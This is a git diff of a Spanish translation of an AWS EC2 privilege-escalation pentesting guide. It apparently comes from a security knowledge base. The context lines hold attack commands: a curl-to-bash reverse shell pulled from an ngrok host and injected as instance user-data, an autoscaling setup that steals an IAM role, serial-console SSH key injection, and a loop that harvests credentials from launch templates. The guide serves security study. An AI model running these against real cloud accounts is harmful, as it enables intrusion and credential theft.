Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/

This commit is contained in:
Translator
2025-02-06 02:14:24 +00:00
parent 93516bbdad
commit 7f0b11d96d

View File

@@ -30,7 +30,7 @@ echo '#!/bin/bash
curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh
aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
--iam-instance-profile Name=E<instance-profile-name> \
--iam-instance-profile Name=<instance-profile-name> \
--count 1 \
--user-data "file:///tmp/rev.sh"
```
@@ -119,7 +119,7 @@ aws ec2 request-spot-instances \
```
### `ec2:ModifyInstanceAttribute`
Un atacante con el **`ec2:ModifyInstanceAttribute`** puede modificar los atributos de las instancias. Entre ellos, puede **cambiar los datos del usuario**, lo que implica que puede hacer que la instancia **ejecute datos arbitrarios.** Esto se puede utilizar para obtener un **rev shell a la instancia EC2**.
Un atacante con el **`ec2:ModifyInstanceAttribute`** puede modificar los atributos de las instancias. Entre ellos, puede **cambiar los datos del usuario**, lo que implica que puede hacer que la instancia **ejecute datos arbitrarios.** Esto se puede utilizar para obtener una **rev shell en la instancia EC2**.
Tenga en cuenta que los atributos solo se pueden **modificar mientras la instancia está detenida**, por lo que se requieren los **permisos** **`ec2:StopInstances`** y **`ec2:StartInstances`**.
```bash
@@ -180,7 +180,7 @@ aws ec2 modify-launch-template \
### `autoscaling:CreateLaunchConfiguration`, `autoscaling:CreateAutoScalingGroup`, `iam:PassRole`
Un atacante con los permisos **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** puede **crear una Configuración de Lanzamiento** con un **Rol de IAM** y un **rev shell** dentro de los **datos del usuario**, luego **crear un grupo de escalado automático** a partir de esa configuración y esperar a que el rev shell **robe el Rol de IAM**.
Un atacante con los permisos **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** puede **crear una Configuración de Lanzamiento** con un **Rol de IAM** y un **rev shell** dentro de los **datos del usuario**, luego **crear un grupo de autoscaling** a partir de esa configuración y esperar a que el rev shell **robe el Rol de IAM**.
```bash
aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \
--launch-configuration-name bad_config \
@@ -217,7 +217,7 @@ aws ec2-instance-connect send-ssh-public-key \
Un atacante con el permiso **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** puede **agregar una clave ssh a una conexión serial**. Si la serial no está habilitada, el atacante necesita el permiso **`ec2:EnableSerialConsoleAccess` para habilitarla**.
Para conectarse al puerto serial, también **necesita conocer el nombre de usuario y la contraseña de un usuario** dentro de la máquina.
Para conectarse al puerto serial también **necesita conocer el nombre de usuario y la contraseña de un usuario** dentro de la máquina.
```bash
aws ec2 enable-serial-console-access
@@ -229,13 +229,13 @@ aws ec2-instance-connect send-serial-console-ssh-public-key \
ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws
```
Este método no es muy útil para privesc ya que necesitas conocer un nombre de usuario y una contraseña para explotarlo.
Este método no es tan útil para privesc ya que necesitas conocer un nombre de usuario y una contraseña para explotarlo.
**Impacto Potencial:** (Altamente improbable) Privesc directo a los roles de IAM de EC2 adjuntos a las instancias en ejecución.
**Impacto Potencial:** (Altamente improbable) Privesc directo a los roles IAM de EC2 adjuntos a las instancias en ejecución.
### `describe-launch-templates`,`describe-launch-template-versions`
Dado que las plantillas de lanzamiento tienen versionado, un atacante con permisos de **`ec2:describe-launch-templates`** y **`ec2:describe-launch-template-versions`** podría explotarlas para descubrir información sensible, como credenciales presentes en los datos del usuario. Para lograr esto, el siguiente script recorre todas las versiones de las plantillas de lanzamiento disponibles:
Dado que las plantillas de lanzamiento tienen versionado, un atacante con permisos de **`ec2:describe-launch-templates`** y **`ec2:describe-launch-template-versions`** podría explotarlos para descubrir información sensible, como credenciales presentes en los datos del usuario. Para lograr esto, el siguiente script recorre todas las versiones de las plantillas de lanzamiento disponibles:
```bash
for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId')
do